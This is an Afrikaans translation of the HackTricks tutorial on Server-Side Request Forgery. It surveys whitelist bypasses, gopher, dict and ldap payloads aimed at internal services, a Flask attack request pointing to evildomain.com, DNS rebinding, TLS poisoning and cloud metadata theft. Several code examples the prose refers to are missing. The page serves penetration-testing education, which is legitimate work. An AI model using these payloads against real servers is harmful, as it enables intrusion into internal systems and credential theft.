Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\
<summary><strong>Leer AWS hakwerk van nul tot held met</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
'n **Server-side Request Forgery (SSRF)** kwesbaarheid kom voor wanneer 'n aanvaller 'n **server-side toepassing** manipuleer om **HTTP-versoeke** na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan willekeurige eksterne versoeke gerig deur die aanvaller.
Die eerste ding wat jy moet doen is om 'n SSRF interaksie wat deur jou gegenereer is, vas te vang. Om 'n HTTP- of DNS-interaksie vas te vang, kan jy gereedskap soos gebruik:
Gewoonlik sal jy vind dat die SSRF net werk in **sekere gelysde domeine** of URL. Op die volgende bladsy het jy 'n **samestelling van tegnieke om te probeer om daardie witlys te omseil**:
As die bediener korrek beskerm is, kan jy **alle beperkings omseil deur 'n Oop Omleiding binne die webbladsy uit te buit**. Omdat die webbladsy **SSRF na dieselfde domein** sal toelaat en waarskynlik sal **omleidings volg**, kan jy die **Oop Omleiding uitbuit om die bediener te maak om interne enige hulpbron** te benader.\
* Die DICT URL-skema word beskryf as wat gebruik word om definisies of woordelyste via die DICT-protokol te benader. 'n Voorbeeld illustreer 'n gekonstrueerde URL wat 'n spesifieke woord, databasis en inskrywingnommer teiken, sowel as 'n voorbeeld van 'n PHP-skrip wat moontlik misbruik kan word om met aanvaller-verskafte geloofsbriewe na 'n DICT-bediener te verbind: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* Geïdentifiseer as 'n protokol vir veilige lêeroordrag oor 'n veilige dop, word 'n voorbeeld verskaf wat wys hoe 'n PHP-skrip uitgebuit kan word om met 'n skadelike SFTP-bediener te verbind: `url=sftp://generic.com:11111/`
* **TFTP://**
* Triviale Lêeroordragprotokol, wat oor UDP werk, word genoem met 'n voorbeeld van 'n PHP-skrip wat ontwerp is om 'n versoek na 'n TFTP-bediener te stuur. 'n TFTP-versoek word aan 'generic.com' op poort '12346' vir die lêer 'TESTUDPPACKET' gestuur: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
* Hierdie segment dek die Ligte Gids Toegangsprotokol, wat beklemtoon word vir die bestuur en toegang tot verspreide gidsinligtingsdienste oor IP-netwerke. Interageer met 'n LDAP-bediener op die plaaslike gasheer: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* 'n Metode word beskryf vir die uitbuiting van SSRF-kwesbaarhede om met SMTP-diens op die plaaslike gasheer te interageer, insluitend stappe om interne domeinname te onthul en verdere ondersoekaksies gebaseer op daardie inligting.
* Indien die SSRF uitgevoer word deur **curl**, het curl 'n kenmerk genaamd [**URL globbing**](https://everything.curl.dev/cmdline/globbing) wat nuttig kan wees om WAFs te omseil. Byvoorbeeld in hierdie [**writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-easylfi) kan jy hierdie voorbeeld vind vir 'n **padtraversal via `file` protokol**:
* Die Gopher-protokol se vermoë om IP, poort, en bytes vir bediener kommunikasie te spesifiseer word bespreek, saam met gereedskap soos Gopherus en remote-method-guesser vir die skep van payloads. Twee onderskeie gebruike word geïllustreer:
Deur hierdie protokol te gebruik, kan jy die **IP, poort en bytes** spesifiseer wat jy wil hê die bediener moet **stuur**. Dan kan jy basies 'n SSRF uitbuit om te **kommunikeer met enige TCP bediener** (maar jy moet eers weet hoe om met die diens te praat).\
Gelukkig kan jy [Gopherus](https://github.com/tarunkant/Gopherus) gebruik om payloads vir verskeie dienste te skep. Daarbenewens kan [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) gebruik word om _gopher_ payloads vir _Java RMI_ dienste te skep.
Analitiese sagteware op bedieners hou dikwels die Verwysingskop dop om inkomende skakels te volg, 'n praktyk wat onbedoeld programme blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Verwysingskop genoem word, mag besoek om verwysingswebwerf-inhoud te analiseer. Om hierdie kwesbaarhede bloot te lê, word die Burp Suite-inprop "**Collaborator Everywhere**" aanbeveel, wat die manier waarop analitiese gereedskap die Verwysingskop verwerk benut om potensiële SSRF-aanvaloppervlaktes te identifiseer.
'n Foutkonfigurasie wat die verbinding met enige agterkant moontlik maak deur 'n eenvoudige opstelling, word geïllustreer met 'n voorbeeld Nginx-konfigurasie:
In hierdie opset word die waarde van die Server Name Indication (SNI) veld direk gebruik as die agterkant se adres. Hierdie opstelling stel 'n kwesbaarheid bloot aan Server-Side Request Forgery (SSRF), wat uitgebuit kan word deur bloot die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van uitbuiting om 'n verbinding met 'n willekeurige agterkant te dwing, soos `internal.host.com`, met behulp van die `openssl`-opdrag word hieronder gegee:
As die webblad outomaties 'n PDF skep met sekere inligting wat jy voorsien het, kan jy **'n bietjie JS invoeg wat deur die PDF-skepper self** (die bediener) uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. [**Vind meer inligting hier**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
Vir sommige uitbuitings mag jy nodig hê om **'n omleiding antwoord te stuur** (moontlik om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende Python-kodes om met 'n omleiding te antwoord:
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) om maklik te bou en **outomatiseer workflows** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\
Flask maak dit moontlik om **`@`** as aanvanklike karakter te gebruik, wat dit moontlik maak om die **aanvanklike gasheernaam die gebruikersnaam** te maak en 'n nuwe een in te spuit. Aanval versoek:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
Dit is ontdek dat dit moontlik is om **die pad te begin** van 'n versoek met die karakter **`;`** wat dan toelaat om **`@`** te gebruik en 'n nuwe gasheer in te spuit om toegang te verkry. Aanval versoek:
PHP laat die gebruik van die **karakter `*` voor 'n skuiwe in die pad** van die URL toe, maar dit het ander beperkings soos dat dit slegs vir die hoof padnaam `/` gebruik kan word en dat kolletjies `.` nie voor die eerste skuiwe toegelaat word nie, dus is dit nodig om 'n puntlose-heks gekodeerde IP-adres te gebruik byvoorbeeld:
Indien jy **probleme** ondervind om inhoud van 'n plaaslike IP **uit te sif** as gevolg van **CORS/SOP**, kan **DNS Rebidding** gebruik word om daardie beperking te omseil:
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) is 'n hulpmiddel om [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam na die teikenrekenaar se IP-adres te herbind en aanvalspakkette te dien om kwesbare sagteware op die teikenrekenaar te misbruik.
3. 'n **TLS-verbinding** word geskep tussen die slagoffer en die domein van die aanvaller. Die aanvaller voeg die **pakkie binne** die **Sessie-ID of Sessietiket** in.
4. Die **domein** sal 'n **oneindige kringloop** van herleiings teen **homself** begin. Die doel hiervan is om die gebruiker/bot die domein te laat benader totdat dit **weer** 'n **DNS-versoek** van die domein uitvoer.
6. Die gebruiker/bot sal probeer om die TLS-verbinding **te herstel** en om dit te doen, sal dit die **Sessie**-ID/Tiket-ID stuur (waarin die **pakkie** van die aanvaller ingesluit was). So geluk, jy het dit reggekry om die **gebruiker/bot homself aan te val**.
Let wel dat tydens hierdie aanval, as jy localhost:11211 (_memcache_) wil aanval, moet jy die slagoffer die aanvanklike verbinding met www.attacker.com:11211 laat vestig (die **poort moet altyd dieselfde wees**).\
Om **hierdie aanval uit te voer, kan jy die hulpmiddel gebruik**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)\
Vir **meer inligting** kyk na die aanbieding waar hierdie aanval verduidelik word: [https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo\&ab\_channel=DEFCONConference)
Die verskil tussen 'n blinde SSRF en 'n nie-blinde een is dat in die blinde jy nie die respons van die SSRF-versoek kan sien nie. Dit is dus moeiliker om te misbruik omdat jy slegs bekende kwesbaarhede sal kan misbruik.
Deur die **tyd** van die respons van die bediener te **kontroleer**, kan dit moontlik wees om te weet of 'n hulpbron bestaan of nie (miskien neem dit langer om 'n bestaande hulpbron te benader as om een te benader wat nie bestaan nie)
As jy 'n SSRF-kwesbaarheid in 'n masjien wat binne 'n wolkomgewing hardloop, vind, kan jy interessante inligting oor die wolkomgewing verkry en selfs geloofsbriewe:
_remote-method-guesser_ is 'n _Java RMI_ kwesbaarheidsskandeerder wat aanvalsoperasies vir die mees algemene _Java RMI_ kwesbaarhede ondersteun. Die meeste van die beskikbare operasies ondersteun die `--ssrf`-opsie om 'n _SSRF_-pakkie vir die versoekte operasie te genereer. Saam met die `--gopher`-opsie kan gereedskap vir _gopher_ direk gegenereer word.
SSRF Proxy is 'n multi-draad HTTP-proksiebediener wat ontwerp is om kliënt-HTTP-verkeer deur HTTP-bedieners wat vatbaar is vir Server-Side Request Forgery (SSRF) te tonnel.
<summary><strong>Leer AWS-hacking van nul tot held met</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) om maklik werkstrome te bou en te outomatiseer wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskaps-hulpmiddels.\